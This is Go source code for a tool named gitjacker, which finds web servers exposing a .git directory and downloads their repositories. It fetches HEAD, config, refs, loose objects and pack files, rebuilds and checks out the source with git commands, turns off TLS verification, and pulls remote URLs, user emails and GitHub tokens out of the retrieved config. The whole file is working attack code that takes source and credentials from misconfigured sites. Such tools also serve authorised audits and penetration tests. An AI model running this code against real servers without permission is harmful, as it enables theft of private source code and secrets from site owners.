package gitjacker

import (
	"fmt"
	"io/ioutil"
	"net/http"
	"net/url"
	"os"
	"os/exec"
	"path/filepath"
	"regexp"
	"strings"
	"time"
    "crypto/tls"

	"github.com/sirupsen/logrus"
)

var paths = []string{
	"refs/heads/master",
	"objects/info/packs",
	"description",
	"COMMIT_EDITMSG",
	"index",
	"packed-refs",
	"refs/stash",
	"logs/HEAD",
	"logs/refs/heads/master",
	"logs/refs/remotes/origin/HEAD",
	"info/refs",
	"info/exclude",
}

var ErrNotVulnerable = fmt.Errorf("no .git directory is available at this URL")

type retriever struct {
	baseURL    *url.URL
	outputDir  string
	http       *http.Client
	downloaded map[string]bool
	summary    Summary
}

type Status uint

const (
	StatusUnknown Status = iota
	StatusFailure
	StatusPartialSuccess
	StatusSuccess
)

type Summary struct {
	PackInformationAvailable bool
	FoundObjects             []string
	MissingObjects           []string
	Status                   Status
	OutputDirectory          string
	Config                   Config
}

type Config struct {
	RepositoryName string
	Remotes        []Remote
	Branches       []Branch
	User           User
	GithubToken    GithubToken
}

type User struct {
	Name     string
	Email    string
	Username string
}

type GithubToken struct {
	Username string
	Token    string
}

type Remote struct {
	Name string
	URL  string
}

type Branch struct {
	Name   string
	Remote string
}

func New(target *url.URL, outputDir string) *retriever {

	relative, _ := url.Parse(".git/")
	target = target.ResolveReference(relative)
    customTransport := http.DefaultTransport.(*http.Transport).Clone()
    customTransport.TLSClientConfig = &tls.Config{InsecureSkipVerify: true}
    customTransport.Proxy = http.ProxyFromEnvironment

	return &retriever{
		baseURL:   target,
		outputDir: outputDir,
		http: &http.Client{
			Timeout: time.Second * 10,
            Transport: customTransport,
		},
		downloaded: make(map[string]bool),
		summary: Summary{
			OutputDirectory: outputDir,
		},
	}
}

func (r *retriever) checkVulnerable() error {
	if err := r.downloadFile("HEAD"); err != nil {
		return fmt.Errorf("%w: %s", ErrNotVulnerable, err)
	}

	filePath := filepath.Join(r.outputDir, ".git", "HEAD")
	head, err := ioutil.ReadFile(filePath)
	if err != nil {
		return err
	}

	if !strings.HasPrefix(string(head), "ref: ") {
		return ErrNotVulnerable
	}

	return nil
}

func (r *retriever) parsePackMetadata(meta []byte) error {
	lines := strings.Split(string(meta), "\n")
	for _, line := range lines {
		parts := strings.Split(strings.TrimSpace(line), " ")
		if parts[0] == "P" && len(parts) == 2 {
			packPath := filepath.Join("objects", "pack", filepath.FromSlash(filepath.Clean("/"+parts[1])))
			if err := r.downloadFile(packPath); err != nil {
				logrus.Debugf("Failed to retrieve pack file %s: %s", parts[1], err)
			}
		}
	}
	return nil
}

func (r *retriever) parsePackFile(filename string, data []byte) error {

	f, err := os.Open(filepath.Join(r.outputDir, ".git", filename))
	if err != nil {
		return err
	}
	defer func() { _ = f.Close() }()

	cmd := exec.Command("git", "unpack-objects")
	cmd.Stdin = f
	cmd.Dir = r.outputDir
	return cmd.Run()
}

func (r *retriever) downloadFile(path string) error {

	path = strings.TrimSpace(path)

	filePath := filepath.Join(r.outputDir, ".git", filepath.FromSlash(filepath.Clean("/"+path)))

	if r.downloaded[path] {
		return nil
	}
	r.downloaded[path] = true

	relative, err := url.Parse(path)
	if err != nil {
		return err
	}

	absolute := r.baseURL.ResolveReference(relative)
	resp, err := r.http.Get(absolute.String())
	if err != nil {
		return fmt.Errorf("failed to retrieve %s: %w", absolute.String(), err)
	}
	defer func() { _ = resp.Body.Close() }()

	if resp.StatusCode != http.StatusOK {
		return fmt.Errorf("unexpected status code for url %s : %d", absolute.String(), resp.StatusCode)
	}

	content, err := ioutil.ReadAll(resp.Body)
	if err != nil {
		return err
	}

	if err := os.MkdirAll(filepath.Dir(filePath), 0755); err != nil {
		return err
	}

	if !strings.HasSuffix(path, "/") {
		if err := ioutil.WriteFile(filePath, content, 0640); err != nil {
			return fmt.Errorf("failed to write %s: %w", filePath, err)
		}
	}

	switch path {
	case "HEAD":
		ref := strings.TrimPrefix(string(content), "ref: ")
		if err := r.downloadFile(ref); err != nil {
			return err
		}
		return nil
	case "config":
		return r.analyseConfig(content)
	case "objects/pack/":
		// parse the directory listing
		packFiles := packLinkRegex.FindAllStringSubmatch(string(content), -1)
		for _, packFile := range packFiles {
			if len(packFile) <= 1 {
				continue
			}
			if err := r.downloadFile(fmt.Sprintf("objects/pack/%s", packFile[1])); err != nil {
				logrus.Debugf("Failed to retrieve pack file %s: %s", packFile[1], err)
				continue
			}
		}
		return nil
	case "objects/info/packs":
		return r.parsePackMetadata(content)
	}

	if strings.HasSuffix(path, ".pack") {
		return r.parsePackFile(path, content)
	}

	if strings.HasPrefix(path, "refs/heads/") {
		if _, err := r.downloadObject(string(content)); err != nil {
			return err
		}
		return nil
	}

	hash := filepath.Base(filepath.Dir(path)) + filepath.Base(path)

	objectType, err := r.getObjectType(hash)
	if err != nil {
		return err
	}

	switch objectType {
	case GitCommitFile:

		commit, err := r.readCommit(hash)
		if err != nil {
			return err
		}

		logrus.Debugf("Successfully retrieved commit %s.", hash)

		if commit.Tree != "" {
			if _, err := r.downloadObject(commit.Tree); err != nil {
				logrus.Debugf("Object %s is missing and likely packed.", commit.Tree)
			}
		}
		for _, parent := range commit.Parents {
			if _, err := r.downloadObject(parent); err != nil {
				logrus.Debugf("Object %s is missing and likely packed.", parent)
			}
		}

	case GitTreeFile:

		tree, err := r.readTree(hash)
		if err != nil {
			return err
		}

		logrus.Debugf("Successfully retrieved tree %s.", hash)

		for _, subHash := range tree.Objects {
			if _, err := r.downloadObject(subHash); err != nil {
				logrus.Debugf("Object %s is missing and likely packed.", subHash)
			}
		}
	case GitBlobFile:
		logrus.Debugf("Successfully retrieved blob %s.", hash)
	default:
		return fmt.Errorf("unknown git file type for %s: %s", path, objectType)
	}

	return nil
}

func (r *retriever) downloadObject(hash string) (string, error) {

	logrus.Debugf("Requesting hash [%s]\n", hash)

	path := fmt.Sprintf("objects/%s/%s", hash[:2], hash[2:40])
	if err := r.downloadFile(path); err != nil {
		r.summary.MissingObjects = append(r.summary.MissingObjects, hash)
		return "", err
	}
	r.summary.FoundObjects = append(r.summary.FoundObjects, hash)
	return path, nil
}

type GitFileType string

const (
	GitUnknownFile GitFileType = ""
	GitCommitFile  GitFileType = "commit"
	GitTreeFile    GitFileType = "tree"
	GitBlobFile    GitFileType = "blob"
)

func (r *retriever) getObjectType(hash string) (GitFileType, error) {
	cmd := exec.Command("git", "cat-file", "-t", hash)
	cmd.Dir = r.outputDir
	output, err := cmd.Output()
	if err != nil {
		return GitUnknownFile, fmt.Errorf("failed to read type of %s: %w", hash, err)
	}
	return GitFileType(strings.TrimSpace(string(output))), nil
}

type Commit struct {
	Tree    string
	Parents []string
}

func (r *retriever) readCommit(hash string) (*Commit, error) {
	cmd := exec.Command("git", "cat-file", "-p", hash)
	cmd.Dir = r.outputDir
	output, err := cmd.Output()
	if err != nil {
		return nil, fmt.Errorf("failed to read commit %s: %w", hash, err)
	}

	lines := strings.Split(string(output), "\n")
	var commit Commit
	for _, line := range lines {
		line = strings.TrimSpace(line)
		words := strings.Split(line, " ")
		if len(words) <= 1 {
			continue
		}
		switch words[0] {
		case "tree":
			commit.Tree = words[len(words)-1]
		case "parent":
			commit.Parents = append(commit.Parents, words[len(words)-1])
		}
	}
	return &commit, nil
}

type Tree struct {
	Objects []string
}

func (r *retriever) readTree(hash string) (*Tree, error) {

	cmd := exec.Command("git", "cat-file", "-p", hash)
	cmd.Dir = r.outputDir

	output, err := cmd.Output()
	if err != nil {
		return nil, fmt.Errorf("failed to read tree %s: %w", hash, err)
	}

	lines := strings.Split(string(output), "\n")
	var tree Tree
	for _, line := range lines {
		line = strings.TrimSpace(line)
		line = strings.ReplaceAll(line, "\t", " ")
		words := strings.Split(line, " ")
		if len(words) < 4 {
			continue
		}
		tree.Objects = append(tree.Objects, words[2])
	}
	return &tree, nil
}

func (r *retriever) reset() error {

	cmd := exec.Command("git", "reset")
	cmd.Dir = r.outputDir
	if err := cmd.Run(); err != nil {
		return fmt.Errorf("failed to reset files: %w", err)
	}

	return nil
}

func (r *retriever) checkout() error {
	checkoutCmd := exec.Command("git", "checkout", "--", ".")
	checkoutCmd.Dir = r.outputDir
	if err := checkoutCmd.Run(); err != nil {
		return fmt.Errorf("failed to checkout files: %w", err)
	}

	return nil
}

var ErrNoPackInfo = fmt.Errorf("pack information (.git/objects/info/packs) is missing")

// e.g. href="pack-5b89658fae4313c1e25d629bfa95f809c77ff949.pack"
var packLinkRegex = regexp.MustCompile("href=[\"']?(pack-[a-z0-9]{40}\\.pack)")

func (r *retriever) locatePackFiles() error {

	// first of all let's try a directory listing for all pack files
	_ = r.downloadFile("objects/pack/")

	// otherwise hopefully the pak listing is available...
	if err := r.downloadFile("objects/info/packs"); err != nil {
		return ErrNoPackInfo
	}

	// after handling pack files, let's check if anything is still missing...
	var newMissing []string
	for _, hash := range r.summary.MissingObjects {
		path := filepath.Join(r.outputDir, ".git", "objects", hash[:2], hash[2:40])
		if _, err := os.Stat(path); err != nil {
			newMissing = append(newMissing, hash)
		} else {
			r.summary.FoundObjects = append(r.summary.FoundObjects, hash)
		}
	}

	r.summary.MissingObjects = newMissing

	return nil
}

func (r *retriever) Run() (*Summary, error) {

	if err := r.checkVulnerable(); err != nil {
		return nil, err
	}

	if err := r.downloadFile("config"); err != nil {
		return nil, err
	}

	if err := r.downloadFile("HEAD"); err != nil {
		return nil, err
	}

	// common paths to check, not necessarily required
	for _, path := range paths {
		_ = r.downloadFile(path)
	}

	// grab packed files
	if err := r.locatePackFiles(); err == ErrNoPackInfo {
		r.summary.PackInformationAvailable = false
		logrus.Debugf("Pack information file is not available - some objects may be missing.")
	} else if err == nil {
		r.summary.PackInformationAvailable = true
	} else { // if there's a different error, ignore it, we can continue without unpacking
		r.summary.PackInformationAvailable = true
		logrus.Debugf("Error in unpack operation: %s", err)
	}
	if len(r.summary.FoundObjects) == 0 {
		r.summary.Status = StatusFailure
	} else if len(r.summary.MissingObjects) > 0 {
		r.summary.Status = StatusPartialSuccess
	} else {
		r.summary.Status = StatusSuccess
	}

	if err := r.reset(); err != nil {
		if r.summary.Status > StatusPartialSuccess {
			r.summary.Status = StatusPartialSuccess
		}
		logrus.Debugf("Failed to reset: %s", err)
	} else if err := r.checkout(); err != nil {
		if r.summary.Status > StatusPartialSuccess {
			r.summary.Status = StatusPartialSuccess
		}
		logrus.Debugf("Failed to checkout: %s", err)
	}

	return &r.summary, nil
}

func (r *retriever) analyseConfig(content []byte) error {
	lines := strings.Split(string(content), "\n")
	var section string
	for _, line := range lines {
		line = strings.TrimSpace(line)
		if strings.HasPrefix(line, "[") {
			line = line[1:]
			line = line[0 : len(line)-1]
			args := strings.Split(line, " ")
			section = args[0]
			switch section {
			case "remote":
				name := "?"
				if len(args) > 1 {
					name = strings.TrimSuffix(args[1][1:], "\"")
				}
				r.summary.Config.Remotes = append(r.summary.Config.Remotes, Remote{
					Name: name,
				})
			case "branch":
				name := "?"
				if len(args) > 1 {
					name = strings.TrimSuffix(args[1][1:], "\"")
				}
				r.summary.Config.Branches = append(r.summary.Config.Branches, Branch{
					Name: name,
				})
			}
			continue
		}

		parts := strings.Split(line, "=")
		if len(parts) <= 1 {
			continue
		}

		key := strings.TrimSpace(parts[0])
		val := strings.TrimSpace(strings.Join(parts[1:], "="))

		switch section {
		case "remote":
			switch key {
			case "url":
				r.summary.Config.Remotes[len(r.summary.Config.Remotes)-1].URL = val
				if strings.Contains(val, "/") {
					name := val[strings.Index(val, "/")+1:]
					r.summary.Config.RepositoryName = strings.TrimSuffix(name, ".git")
				}
			}
		case "branch":
			switch key {
			case "remote":
				r.summary.Config.Branches[len(r.summary.Config.Branches)-1].Remote = val
			}
		case "user":
			switch key {
			case "name":
				r.summary.Config.User.Name = val
			case "username":
				r.summary.Config.User.Username = val
			case "email":
				r.summary.Config.User.Email = val
			}
		case "github":
			switch key {
			case "user":
				r.summary.Config.GithubToken.Username = val
			case "token":
				r.summary.Config.GithubToken.Token = val
			}
		}

	}
	return nil
}
